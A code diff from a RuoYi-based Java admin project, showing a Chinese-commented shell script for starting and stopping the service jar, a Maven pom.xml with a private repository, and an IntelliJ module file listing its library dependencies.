pid=`ps -ef|grep $JAR_NAME|grep -v grep|awk '{print $2}' `
# [ ]表示条件测试。注意这里的空格很重要。要注意在'['后面和']'前面都必须要有空格
# [ -z STRING ] 如果STRING的长度为零则返回为真,即空是真
# 如果不存在返回0,存在返回1
if [ -z "${pid}" ]; then
return 0
else
return 1
fi
}
# ######### Shell脚本中$0、$?、$!、$$、$*、$#、$@等的说明 #########
# $$ Shell本身的PID(ProcessID,即脚本运行的当前 进程ID号)
# $! Shell最后运行的后台Process的PID(后台运行的最后一个进程的 进程ID号)
# $? 最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)
# $- 显示shell使用的当前选项,与set命令功能相同
# $* 所有参数列表。如"$*"用「"」括起来的情况、以"$1 $2 … $n"的形式输出所有参数,此选项参数可超过9个。
# $@ 所有参数列表。如"$@"用「"」括起来的情况、以"$1" "$2" … "$n" 的形式输出所有参数。
# $# 添加到Shell的参数个数
# $0 Shell本身的文件名
# $1~$n 添加到Shell的各参数值。$1是第1参数、$2是第2参数…。
# 服务启动方法
start() {
is_exist
if [ $? -eq "1" ]; then
echo "$APP_NAME 已经在运行pid是 ${pid}"
else
# jar服务启动脚本
nohup java $JAVA_OPTS -jar $JAR_PATH/$JAR_NAME --spring.profiles.active=$2 >$JAR_PATH/api.log 2>&1 &
echo $! > $JAR_PID
echo "启动 $APP_NAME 成功 pid是 $! "
sleep 15
# 睡眠一会等启动完成后输出启动日志
cat $JAR_PATH/api.log
fi
}
# 服务停止方法
stop() {
# is_exist
pidf=$(cat $JAR_PID)
# echo "$pidf"
echo "pid = $pidf begin kill $pidf"
kill $pidf
rm -rf $JAR_PID
sleep 2
# 判断服务进程是否存在
is_exist
if [ $? -eq "1" ]; then
echo "pid = $pid begin kill -9 $pid"
kill -9 $pid
sleep 2
echo "$APP_NAME 已停止!"
else
echo "$APP_NAME 没有运行!"
fi
}
# 服务运行状态查看方法
status() {
is_exist
if [ $? -eq "1" ]; then
echo "$APP_NAME 正在运行,pid 是 ${pid}"
else
echo "$APP_NAME 没有运行!"
fi
}
# 重启服务方法
restart() {
# 调用服务停止命令
stop
# 调用服务启动命令
start $1 $2
}
# 帮助说明,用于提示输入参数信息
usage() {
echo "Usage: sh $APP_NAME.sh [ start | stop | restart | status ]"
exit 1
}
###################################
# 读取脚本的第一个参数($1),进行判断
# 参数取值范围:{ start | stop | restart | status }
# 如参数不在指定范围之内,则打印帮助信息
###################################
#根据输入参数,选择执行对应方法,不输入则执行使用说明
case "$1" in
'start')
start $1 $2
;;
'stop')
stop
;;
'restart')
restart $1 $2
;;
'status')
status
;;
*)
usage
;;
esac
exit 0

256
pom.xml

@ -0,0 +1,256 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.ruoyi</groupId>
<artifactId>ruoyi</artifactId>
<version>3.8.5</version>
<name>ruoyi</name>
<url>http://www.ruoyi.vip</url>
<description>若依管理系统</description>
<properties>
<ruoyi.version>3.8.5</ruoyi.version>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
<java.version>1.8</java.version>
<maven-jar-plugin.version>3.1.1</maven-jar-plugin.version>
<druid.version>1.2.16</druid.version>
<bitwalker.version>1.21</bitwalker.version>
<swagger.version>3.0.0</swagger.version>
<kaptcha.version>2.3.3</kaptcha.version>
<pagehelper.boot.version>1.4.6</pagehelper.boot.version>
<fastjson.version>2.0.25</fastjson.version>
<oshi.version>6.4.0</oshi.version>
<commons.io.version>2.11.0</commons.io.version>
<commons.collections.version>3.2.2</commons.collections.version>
<poi.version>4.1.2</poi.version>
<velocity.version>2.3</velocity.version>
<jwt.version>0.9.1</jwt.version>
</properties>
<!-- 依赖声明 -->
<dependencyManagement>
<dependencies>
<!-- SpringBoot的依赖配置-->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-dependencies</artifactId>
<version>2.5.15</version>
<type>pom</type>
<scope>import</scope>
</dependency>
<!-- 阿里数据库连接池 -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>druid-spring-boot-starter</artifactId>
<version>${druid.version}</version>
</dependency>
<!-- 解析客户端操作系统、浏览器等 -->
<dependency>
<groupId>eu.bitwalker</groupId>
<artifactId>UserAgentUtils</artifactId>
<version>${bitwalker.version}</version>
</dependency>
<!-- pagehelper 分页插件 -->
<dependency>
<groupId>com.github.pagehelper</groupId>
<artifactId>pagehelper-spring-boot-starter</artifactId>
<version>${pagehelper.boot.version}</version>
</dependency>
<!-- 获取系统信息 -->
<dependency>
<groupId>com.github.oshi</groupId>
<artifactId>oshi-core</artifactId>
<version>${oshi.version}</version>
</dependency>
<!-- Swagger3依赖 -->
<dependency>
<groupId>io.springfox</groupId>
<artifactId>springfox-boot-starter</artifactId>
<version>${swagger.version}</version>
<exclusions>
<exclusion>
<groupId>io.swagger</groupId>
<artifactId>swagger-models</artifactId>
</exclusion>
</exclusions>
</dependency>
<!-- io常用工具类 -->
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>${commons.io.version}</version>
</dependency>
<!-- excel工具 -->
<dependency>
<groupId>org.apache.poi</groupId>
<artifactId>poi-ooxml</artifactId>
<version>${poi.version}</version>
</dependency>
<!-- velocity代码生成使用模板 -->
<dependency>
<groupId>org.apache.velocity</groupId>
<artifactId>velocity-engine-core</artifactId>
<version>${velocity.version}</version>
</dependency>
<!-- collections工具类 -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>${commons.collections.version}</version>
</dependency>
<!-- 阿里JSON解析器 -->
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>${fastjson.version}</version>
</dependency>
<!-- Token生成与解析-->
<dependency>
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt</artifactId>
<version>${jwt.version}</version>
</dependency>
<!-- 验证码 -->
<dependency>
<groupId>pro.fessional</groupId>
<artifactId>kaptcha</artifactId>
<version>${kaptcha.version}</version>
</dependency>
<!-- 定时任务-->
<dependency>
<groupId>com.ruoyi</groupId>
<artifactId>ruoyi-quartz</artifactId>
<version>${ruoyi.version}</version>
</dependency>
<!-- 代码生成-->
<dependency>
<groupId>com.ruoyi</groupId>
<artifactId>ruoyi-generator</artifactId>
<version>${ruoyi.version}</version>
</dependency>
<!-- 核心模块-->
<dependency>
<groupId>com.ruoyi</groupId>
<artifactId>ruoyi-framework</artifactId>
<version>${ruoyi.version}</version>
</dependency>
<!-- 系统模块-->
<dependency>
<groupId>com.ruoyi</groupId>
<artifactId>ruoyi-system</artifactId>
<version>${ruoyi.version}</version>
</dependency>
<!-- lombok -->
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<version>1.18.26</version>
</dependency>
<!-- Mybatis plus -->
<!-- <dependency>-->
<!-- <groupId>com.baomidou</groupId>-->
<!-- <artifactId>mybatis-plus-boot-starter</artifactId>-->
<!-- <version>3.5.2</version>-->
<!-- </dependency>-->
<!-- &lt;!&ndash; 通用工具&ndash;&gt;-->
<dependency>
<groupId>com.ruoyi</groupId>
<artifactId>ruoyi-common</artifactId>
<version>${ruoyi.version}</version>
</dependency>
<dependency>
<groupId>com.squareup.okhttp3</groupId>
<artifactId>okhttp</artifactId>
<version>4.9.0</version>
</dependency>
</dependencies>
</dependencyManagement>
<modules>
<module>ruoyi-admin</module>
<module>ruoyi-framework</module>
<module>ruoyi-system</module>
<module>ruoyi-quartz</module>
<module>ruoyi-generator</module>
<module>ruoyi-common</module>
<module>ruoyi-api</module>
</modules>
<packaging>pom</packaging>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.1</version>
<configuration>
<source>${java.version}</source>
<target>${java.version}</target>
<encoding>${project.build.sourceEncoding}</encoding>
</configuration>
</plugin>
</plugins>
</build>
<repositories>
<repository>
<id>echo2-group</id>
<name>echo2-group</name>
<url>https://nexus.ok6.cc/repository/echo2-group/</url>
<releases>
<enabled>true</enabled>
</releases>
</repository>
</repositories>
<distributionManagement>
<repository>
<id>echo2-group</id>
<name>echo2-group</name>
<url>https://nexus.ok6.cc/repository/echo2-group/</url>
<uniqueVersion>true</uniqueVersion>
</repository>
</distributionManagement>
<pluginRepositories>
<pluginRepository>
<id>echo2-group</id>
<name>echo2-group</name>
<url>https://nexus.ok6.cc/repository/echo2-group/</url>
<releases>
<enabled>true</enabled>
</releases>
<snapshots>
<enabled>false</enabled>
</snapshots>
</pluginRepository>
</pluginRepositories>
</project>

318
ruoyi-admin/echo2-admin.iml

@ -0,0 +1,318 @@
<?xml version="1.0" encoding="UTF-8"?>
<module org.jetbrains.idea.maven.project.MavenProjectsManager.isMavenModule="true" type="JAVA_MODULE" version="4">
<component name="FacetManager">
<facet type="Spring" name="Spring">
<configuration />
</facet>
<facet type="web" name="Web">
<configuration>
<webroots />
</configuration>
</facet>
</component>
<component name="NewModuleRootManager" LANGUAGE_LEVEL="JDK_1_8">
<output url="file://$MODULE_DIR$/target/classes" />
<output-test url="file://$MODULE_DIR$/target/test-classes" />
<content url="file://$MODULE_DIR$">
<sourceFolder url="file://$MODULE_DIR$/src/main/java" isTestSource="false" />
<sourceFolder url="file://$MODULE_DIR$/src/main/resources" type="java-resource" />
<excludeFolder url="file://$MODULE_DIR$/target" />
</content>
<orderEntry type="inheritedJdk" />
<orderEntry type="sourceFolder" forTests="false" />
<orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-devtools:2.5.15" level="project" />
<orderEntry type="library" name="Maven: org.springframework.boot:spring-boot:2.5.15" level="project" />
<orderEntry type="library" name="Maven: org.springframework:spring-core:5.3.27" level="project" />
<orderEntry type="library" name="Maven: org.springframework:spring-jcl:5.3.27" level="project" />
<orderEntry type="library" name="Maven: org.springframework:spring-context:5.3.27" level="project" />
<orderEntry type="library" name="Maven: org.springframework:spring-expression:5.3.27" level="project" />
<orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-autoconfigure:2.5.15" level="project" />
<orderEntry type="library" name="Maven: io.springfox:springfox-boot-starter:3.0.0" level="project" />
<orderEntry type="library" name="Maven: io.springfox:springfox-oas:3.0.0" level="project" />
<orderEntry type="library" name="Maven: io.swagger.core.v3:swagger-annotations:2.1.2" level="project" />
<orderEntry type="library" name="Maven: io.swagger.core.v3:swagger-models:2.1.2" level="project" />
<orderEntry type="library" name="Maven: io.springfox:springfox-spi:3.0.0" level="project" />
<orderEntry type="library" name="Maven: io.springfox:springfox-schema:3.0.0" level="project" />
<orderEntry type="library" name="Maven: io.springfox:springfox-core:3.0.0" level="project" />
<orderEntry type="library" name="Maven: net.bytebuddy:byte-buddy:1.10.22" level="project" />
<orderEntry type="library" name="Maven: io.springfox:springfox-spring-web:3.0.0" level="project" />
<orderEntry type="library" name="Maven: io.github.classgraph:classgraph:4.8.83" level="project" />
<orderEntry type="library" name="Maven: io.springfox:springfox-spring-webmvc:3.0.0" level="project" />
<orderEntry type="library" name="Maven: io.springfox:springfox-spring-webflux:3.0.0" level="project" />
<orderEntry type="library" name="Maven: io.springfox:springfox-swagger-common:3.0.0" level="project" />
<orderEntry type="library" scope="RUNTIME" name="Maven: org.mapstruct:mapstruct:1.3.1.Final" level="project" />
<orderEntry type="library" name="Maven: io.springfox:springfox-data-rest:3.0.0" level="project" />
<orderEntry type="library" name="Maven: io.springfox:springfox-bean-validators:3.0.0" level="project" />
<orderEntry type="library" name="Maven: io.springfox:springfox-swagger2:3.0.0" level="project" />
<orderEntry type="library" name="Maven: io.springfox:springfox-swagger-ui:3.0.0" level="project" />
<orderEntry type="library" name="Maven: com.fasterxml:classmate:1.5.1" level="project" />
<orderEntry type="library" name="Maven: org.slf4j:slf4j-api:1.7.36" level="project" />
<orderEntry type="library" name="Maven: org.springframework.plugin:spring-plugin-core:2.0.0.RELEASE" level="project" />
<orderEntry type="library" name="Maven: org.springframework:spring-beans:5.3.27" level="project" />
<orderEntry type="library" name="Maven: org.springframework:spring-aop:5.3.27" level="project" />
<orderEntry type="library" name="Maven: org.springframework.plugin:spring-plugin-metadata:2.0.0.RELEASE" level="project" />
<orderEntry type="library" name="Maven: io.swagger:swagger-models:1.6.2" level="project" />
<orderEntry type="library" name="Maven: com.fasterxml.jackson.core:jackson-annotations:2.12.7" level="project" />
<orderEntry type="library" name="Maven: io.swagger:swagger-annotations:1.6.2" level="project" />
<orderEntry type="library" name="Maven: com.mysql:mysql-connector-j:8.0.33" level="project" />
<orderEntry type="module" module-name="ruoyi-framework" />
<orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter-web:2.5.15" level="project" />
<orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter:2.5.15" level="project" />
<orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter-logging:2.5.15" level="project" />
<orderEntry type="library" name="Maven: org.apache.logging.log4j:log4j-to-slf4j:2.17.2" level="project" />
<orderEntry type="library" name="Maven: org.apache.logging.log4j:log4j-api:2.17.2" level="project" />
<orderEntry type="library" name="Maven: org.slf4j:jul-to-slf4j:1.7.36" level="project" />
<orderEntry type="library" name="Maven: jakarta.annotation:jakarta.annotation-api:1.3.5" level="project" />
<orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter-json:2.5.15" level="project" />
<orderEntry type="library" name="Maven: com.fasterxml.jackson.datatype:jackson-datatype-jdk8:2.12.7" level="project" />
<orderEntry type="library" name="Maven: com.fasterxml.jackson.datatype:jackson-datatype-jsr310:2.12.7" level="project" />
<orderEntry type="library" name="Maven: com.fasterxml.jackson.module:jackson-module-parameter-names:2.12.7" level="project" />
<orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter-tomcat:2.5.15" level="project" />
<orderEntry type="library" name="Maven: org.apache.tomcat.embed:tomcat-embed-core:9.0.75" level="project" />
<orderEntry type="library" name="Maven: org.apache.tomcat.embed:tomcat-embed-el:9.0.75" level="project" />
<orderEntry type="library" name="Maven: org.apache.tomcat.embed:tomcat-embed-websocket:9.0.75" level="project" />
<orderEntry type="library" name="Maven: org.springframework:spring-web:5.3.27" level="project" />
<orderEntry type="library" name="Maven: org.springframework:spring-webmvc:5.3.27" level="project" />
<orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter-aop:2.5.15" level="project" />
<orderEntry type="library" name="Maven: org.aspectj:aspectjweaver:1.9.7" level="project" />
<orderEntry type="library" name="Maven: com.alibaba:druid-spring-boot-starter:1.2.16" level="project" />
<orderEntry type="library" name="Maven: com.alibaba:druid:1.2.16" level="project" />
<orderEntry type="library" name="Maven: pro.fessional:kaptcha:2.3.3" level="project" />
<orderEntry type="library" name="Maven: com.jhlabs:filters:2.0.235-1" level="project" />
<orderEntry type="library" name="Maven: javax.servlet:servlet-api:2.5" level="project" />
<orderEntry type="library" name="Maven: com.github.oshi:oshi-core:6.4.0" level="project" />
<orderEntry type="library" name="Maven: net.java.dev.jna:jna:5.12.1" level="project" />
<orderEntry type="library" name="Maven: net.java.dev.jna:jna-platform:5.12.1" level="project" />
<orderEntry type="module" module-name="ruoyi-system" />
<orderEntry type="module" module-name="ruoyi-quartz" />
<orderEntry type="library" name="Maven: org.quartz-scheduler:quartz:2.3.2" level="project" />
<orderEntry type="library" name="Maven: com.mchange:mchange-commons-java:0.2.15" level="project" />
<orderEntry type="module" module-name="ruoyi-common" />
<orderEntry type="library" name="Maven: org.springframework:spring-context-support:5.3.27" level="project" />
<orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter-security:2.5.15" level="project" />
<orderEntry type="library" name="Maven: org.springframework.security:spring-security-config:5.5.8" level="project" />
<orderEntry type="library" name="Maven: org.springframework.security:spring-security-core:5.5.8" level="project" />
<orderEntry type="library" name="Maven: org.springframework.security:spring-security-crypto:5.5.8" level="project" />
<orderEntry type="library" name="Maven: org.springframework.security:spring-security-web:5.5.8" level="project" />
<orderEntry type="library" name="Maven: com.github.pagehelper:pagehelper-spring-boot-starter:1.4.6" level="project" />
<orderEntry type="library" name="Maven: org.mybatis.spring.boot:mybatis-spring-boot-starter:2.2.2" level="project" />
<orderEntry type="library" name="Maven: org.mybatis.spring.boot:mybatis-spring-boot-autoconfigure:2.2.2" level="project" />
<orderEntry type="library" name="Maven: org.mybatis:mybatis:3.5.9" level="project" />
<orderEntry type="library" name="Maven: org.mybatis:mybatis-spring:2.0.7" level="project" />
<orderEntry type="library" name="Maven: com.github.pagehelper:pagehelper-spring-boot-autoconfigure:1.4.6" level="project" />
<orderEntry type="library" name="Maven: com.github.pagehelper:pagehelper:5.3.2" level="project" />
<orderEntry type="library" name="Maven: com.github.jsqlparser:jsqlparser:4.5" level="project" />
<orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter-validation:2.5.15" level="project" />
<orderEntry type="library" name="Maven: org.hibernate.validator:hibernate-validator:6.2.5.Final" level="project" />
<orderEntry type="library" name="Maven: jakarta.validation:jakarta.validation-api:2.0.2" level="project" />
<orderEntry type="library" name="Maven: org.jboss.logging:jboss-logging:3.4.3.Final" level="project" />
<orderEntry type="library" name="Maven: org.apache.commons:commons-lang3:3.12.0" level="project" />
<orderEntry type="library" name="Maven: com.fasterxml.jackson.core:jackson-databind:2.12.7.1" level="project" />
<orderEntry type="library" name="Maven: com.fasterxml.jackson.core:jackson-core:2.12.7" level="project" />
<orderEntry type="library" name="Maven: com.baomidou:dynamic-datasource-spring-boot-starter:3.5.2" level="project" />
<orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter-jdbc:2.5.15" level="project" />
<orderEntry type="library" name="Maven: com.zaxxer:HikariCP:4.0.3" level="project" />
<orderEntry type="library" name="Maven: org.springframework:spring-jdbc:5.3.27" level="project" />
<orderEntry type="library" name="Maven: com.alibaba.fastjson2:fastjson2:2.0.25" level="project" />
<orderEntry type="library" name="Maven: commons-io:commons-io:2.11.0" level="project" />
<orderEntry type="library" name="Maven: org.apache.poi:poi-ooxml:4.1.2" level="project" />
<orderEntry type="library" name="Maven: org.apache.poi:poi:4.1.2" level="project" />
<orderEntry type="library" name="Maven: org.apache.commons:commons-collections4:4.4" level="project" />
<orderEntry type="library" name="Maven: org.apache.commons:commons-math3:3.6.1" level="project" />
<orderEntry type="library" name="Maven: com.zaxxer:SparseBitSet:1.2" level="project" />
<orderEntry type="library" name="Maven: org.apache.poi:poi-ooxml-schemas:4.1.2" level="project" />
<orderEntry type="library" name="Maven: org.apache.xmlbeans:xmlbeans:3.1.0" level="project" />
<orderEntry type="library" name="Maven: org.apache.commons:commons-compress:1.19" level="project" />
<orderEntry type="library" name="Maven: com.github.virtuald:curvesapi:1.06" level="project" />
<orderEntry type="library" name="Maven: org.yaml:snakeyaml:1.28" level="project" />
<orderEntry type="library" name="Maven: io.jsonwebtoken:jjwt:0.9.1" level="project" />
<orderEntry type="library" name="Maven: javax.xml.bind:jaxb-api:2.3.1" level="project" />
<orderEntry type="library" name="Maven: javax.activation:javax.activation-api:1.2.0" level="project" />
<orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter-data-redis:2.5.15" level="project" />
<orderEntry type="library" name="Maven: org.springframework.data:spring-data-redis:2.5.12" level="project" />
<orderEntry type="library" name="Maven: org.springframework.data:spring-data-keyvalue:2.5.12" level="project" />
<orderEntry type="library" name="Maven: org.springframework.data:spring-data-commons:2.5.12" level="project" />
<orderEntry type="library" name="Maven: org.springframework:spring-tx:5.3.27" level="project" />
<orderEntry type="library" name="Maven: org.springframework:spring-oxm:5.3.27" level="project" />
<orderEntry type="library" name="Maven: redis.clients:jedis:3.6.3" level="project" />
<orderEntry type="library" name="Maven: org.apache.commons:commons-pool2:2.9.0" level="project" />
<orderEntry type="library" name="Maven: eu.bitwalker:UserAgentUtils:1.21" level="project" />
<orderEntry type="library" name="Maven: javax.servlet:javax.servlet-api:4.0.1" level="project" />
<orderEntry type="library" name="Maven: org.projectlombok:lombok:1.18.26" level="project" />
<orderEntry type="library" name="Maven: cn.dev33:sa-token-spring-boot-starter:1.30.0" level="project" />
<orderEntry type="library" name="Maven: cn.dev33:sa-token-servlet:1.30.0" level="project" />
<orderEntry type="library" name="Maven: cn.dev33:sa-token-dao-redis-jackson:1.30.0" level="project" />
<orderEntry type="library" name="Maven: cn.dev33:sa-token-core:1.30.0" level="project" />
<orderEntry type="library" name="Maven: org.telegram:telegrambotsextensions:4.8.1" level="project" />
<orderEntry type="library" name="Maven: org.java-websocket:Java-WebSocket:1.4.0" level="project" />
<orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter-websocket:2.5.15" level="project" />
<orderEntry type="library" name="Maven: org.springframework:spring-messaging:5.3.27" level="project" />
<orderEntry type="library" name="Maven: org.springframework:spring-websocket:5.3.27" level="project" />
<orderEntry type="library" name="Maven: com.baomidou:mybatis-plus-boot-starter:3.4.1" level="project" />
<orderEntry type="library" name="Maven: com.baomidou:mybatis-plus:3.4.1" level="project" />
<orderEntry type="library" name="Maven: com.baomidou:mybatis-plus-extension:3.4.1" level="project" />
<orderEntry type="library" name="Maven: com.baomidou:mybatis-plus-core:3.4.1" level="project" />
<orderEntry type="library" name="Maven: com.baomidou:mybatis-plus-annotation:3.4.1" level="project" />
<orderEntry type="library" name="Maven: org.lionsoul:ip2region:1.7.2" level="project" />
<orderEntry type="library" name="Maven: com.github.whvcse:easy-captcha:1.6.2" level="project" />
<orderEntry type="library" name="Maven: org.hashids:hashids:1.0.3" level="project" />
<orderEntry type="library" name="Maven: javax.mail:mail:1.4.7" level="project" />
<orderEntry type="library" name="Maven: javax.activation:activation:1.1.1" level="project" />
<orderEntry type="library" name="Maven: org.freemarker:freemarker:2.3.32" level="project" />
<orderEntry type="library" name="Maven: com.belerweb:pinyin4j:2.5.1" level="project" />
<orderEntry type="library" name="Maven: com.aliyun.oss:aliyun-sdk-oss:3.10.2" level="project" />
<orderEntry type="library" name="Maven: org.apache.httpcomponents:httpclient:4.5.14" level="project" />
<orderEntry type="library" name="Maven: org.apache.httpcomponents:httpcore:4.4.16" level="project" />
<orderEntry type="library" name="Maven: org.jdom:jdom2:2.0.6.1" level="project" />
<orderEntry type="library" name="Maven: org.codehaus.jettison:jettison:1.1" level="project" />
<orderEntry type="library" name="Maven: stax:stax-api:1.0.1" level="project" />
<orderEntry type="library" name="Maven: com.aliyun:aliyun-java-sdk-core:3.4.0" level="project" />
<orderEntry type="library" name="Maven: com.aliyun:aliyun-java-sdk-ram:3.0.0" level="project" />
<orderEntry type="library" name="Maven: com.aliyun:aliyun-java-sdk-sts:3.0.0" level="project" />
<orderEntry type="library" name="Maven: com.aliyun:aliyun-java-sdk-ecs:4.2.0" level="project" />
<orderEntry type="library" name="Maven: com.aliyun:aliyun-java-sdk-kms:2.7.0" level="project" />
<orderEntry type="library" name="Maven: org.telegram:telegrambots:6.0.1" level="project" />
<orderEntry type="library" name="Maven: org.telegram:telegrambots-meta:6.0.1" level="project" />
<orderEntry type="library" name="Maven: com.fasterxml.jackson.jaxrs:jackson-jaxrs-json-provider:2.12.7" level="project" />
<orderEntry type="library" name="Maven: com.fasterxml.jackson.jaxrs:jackson-jaxrs-base:2.12.7" level="project" />
<orderEntry type="library" name="Maven: com.fasterxml.jackson.module:jackson-module-jaxb-annotations:2.12.7" level="project" />
<orderEntry type="library" name="Maven: jakarta.xml.bind:jakarta.xml.bind-api:2.3.3" level="project" />
<orderEntry type="library" name="Maven: org.glassfish.jersey.inject:jersey-hk2:2.33" level="project" />
<orderEntry type="library" name="Maven: org.glassfish.jersey.core:jersey-common:2.33" level="project" />
<orderEntry type="library" name="Maven: org.glassfish.hk2:osgi-resource-locator:1.0.3" level="project" />
<orderEntry type="library" name="Maven: org.glassfish.hk2:hk2-locator:2.6.1" level="project" />
<orderEntry type="library" name="Maven: org.glassfish.hk2.external:aopalliance-repackaged:2.6.1" level="project" />
<orderEntry type="library" name="Maven: org.glassfish.hk2:hk2-api:2.6.1" level="project" />
<orderEntry type="library" name="Maven: org.glassfish.hk2:hk2-utils:2.6.1" level="project" />
<orderEntry type="library" name="Maven: org.javassist:javassist:3.25.0-GA" level="project" />
<orderEntry type="library" name="Maven: org.glassfish.jersey.media:jersey-media-json-jackson:2.33" level="project" />
<orderEntry type="library" name="Maven: org.glassfish.jersey.ext:jersey-entity-filtering:2.33" level="project" />
<orderEntry type="library" name="Maven: org.glassfish.jersey.containers:jersey-container-grizzly2-http:2.33" level="project" />
<orderEntry type="library" name="Maven: org.glassfish.hk2.external:jakarta.inject:2.6.1" level="project" />
<orderEntry type="library" name="Maven: org.glassfish.grizzly:grizzly-http-server:2.4.4" level="project" />
<orderEntry type="library" name="Maven: org.glassfish.grizzly:grizzly-http:2.4.4" level="project" />
<orderEntry type="library" name="Maven: org.glassfish.grizzly:grizzly-framework:2.4.4" level="project" />
<orderEntry type="library" name="Maven: jakarta.ws.rs:jakarta.ws.rs-api:2.1.6" level="project" />
<orderEntry type="library" name="Maven: org.glassfish.jersey.core:jersey-server:2.33" level="project" />
<orderEntry type="library" name="Maven: org.glassfish.jersey.core:jersey-client:2.33" level="project" />
<orderEntry type="library" name="Maven: org.json:json:20180813" level="project" />
<orderEntry type="library" name="Maven: org.apache.httpcomponents:httpmime:4.5.14" level="project" />
<orderEntry type="library" name="Maven: com.github.pengrad:java-telegram-bot-api:6.0.1" level="project" />
<orderEntry type="library" name="Maven: com.google.code.gson:gson:2.8.9" level="project" />
<orderEntry type="library" name="Maven: com.squareup.okhttp3:logging-interceptor:3.14.9" level="project" />
<orderEntry type="library" name="Maven: com.github.briandilley.jsonrpc4j:jsonrpc4j:1.4.6" level="project" />
<orderEntry type="library" scope="RUNTIME" name="Maven: net.iharder:base64:2.3.9" level="project" />
<orderEntry type="library" name="Maven: org.web3j:core:4.8.7" level="project" />
<orderEntry type="library" name="Maven: org.web3j:abi:4.8.7" level="project" />
<orderEntry type="library" name="Maven: org.web3j:utils:4.8.7" level="project" />
<orderEntry type="library" name="Maven: org.bouncycastle:bcprov-jdk15on:1.68" level="project" />
<orderEntry type="library" name="Maven: org.web3j:crypto:4.8.7" level="project" />
<orderEntry type="library" name="Maven: org.web3j:rlp:4.8.7" level="project" />
<orderEntry type="library" name="Maven: org.web3j:tuples:4.8.7" level="project" />
<orderEntry type="library" name="Maven: com.github.jnr:jnr-unixsocket:0.21" level="project" />
<orderEntry type="library" name="Maven: com.github.jnr:jnr-ffi:2.1.9" level="project" />
<orderEntry type="library" name="Maven: com.github.jnr:jffi:1.2.17" level="project" />
<orderEntry type="library" scope="RUNTIME" name="Maven: com.github.jnr:jffi:native:1.2.16" level="project" />
<orderEntry type="library" name="Maven: org.ow2.asm:asm:5.0.3" level="project" />
<orderEntry type="library" name="Maven: org.ow2.asm:asm-commons:5.0.3" level="project" />
<orderEntry type="library" name="Maven: org.ow2.asm:asm-analysis:5.0.3" level="project" />
<orderEntry type="library" name="Maven: org.ow2.asm:asm-tree:5.0.3" level="project" />
<orderEntry type="library" name="Maven: org.ow2.asm:asm-util:5.0.3" level="project" />
<orderEntry type="library" name="Maven: com.github.jnr:jnr-a64asm:1.0.0" level="project" />
<orderEntry type="library" name="Maven: com.github.jnr:jnr-x86asm:1.0.2" level="project" />
<orderEntry type="library" name="Maven: com.github.jnr:jnr-constants:0.9.11" level="project" />
<orderEntry type="library" name="Maven: com.github.jnr:jnr-enxio:0.19" level="project" />
<orderEntry type="library" name="Maven: com.github.jnr:jnr-posix:3.0.47" level="project" />
<orderEntry type="library" name="Maven: io.reactivex.rxjava2:rxjava:2.2.21" level="project" />
<orderEntry type="library" name="Maven: org.reactivestreams:reactive-streams:1.0.4" level="project" />
<orderEntry type="library" name="Maven: com.mashape.unirest:unirest-java:1.4.9" level="project" />
<orderEntry type="library" name="Maven: org.apache.httpcomponents:httpasyncclient:4.1.5" level="project" />
<orderEntry type="library" name="Maven: org.apache.httpcomponents:httpcore-nio:4.4.16" level="project" />
<orderEntry type="library" name="Maven: org.jetbrains.kotlin:kotlin-stdlib:1.5.32" level="project" />
<orderEntry type="library" name="Maven: org.jetbrains:annotations:13.0" level="project" />
<orderEntry type="library" name="Maven: org.jetbrains.kotlin:kotlin-stdlib-common:1.5.32" level="project" />
<orderEntry type="library" name="Maven: cn.hutool:hutool-all:5.3.5" level="project" />
<orderEntry type="module-library">
<library name="Maven: org.tron.trident:abi:0.7.0">
<CLASSES>
<root url="jar://$MODULE_DIR$/../ruoyi-common/src/lib/abi-0.7.0.jar!/" />
</CLASSES>
<JAVADOC />
<SOURCES />
</library>
</orderEntry>
<orderEntry type="module-library">
<library name="Maven: org.tron.trident:utils:0.7.0">
<CLASSES>
<root url="jar://$MODULE_DIR$/../ruoyi-common/src/lib/utils-0.7.0.jar!/" />
</CLASSES>
<JAVADOC />
<SOURCES />
</library>
</orderEntry>
<orderEntry type="module-library">
<library name="Maven: org.tron.trident:core:0.7.0">
<CLASSES>
<root url="jar://$MODULE_DIR$/../ruoyi-common/src/lib/core-0.7.0.jar!/" />
</CLASSES>
<JAVADOC />
<SOURCES />
</library>
</orderEntry>
<orderEntry type="library" name="Maven: com.google.protobuf:protobuf-java:4.0.0-rc-2" level="project" />
<orderEntry type="library" name="Maven: io.grpc:grpc-protobuf:1.31.0" level="project" />
<orderEntry type="library" name="Maven: com.google.code.findbugs:jsr305:3.0.2" level="project" />
<orderEntry type="library" name="Maven: com.google.api.grpc:proto-google-common-protos:1.17.0" level="project" />
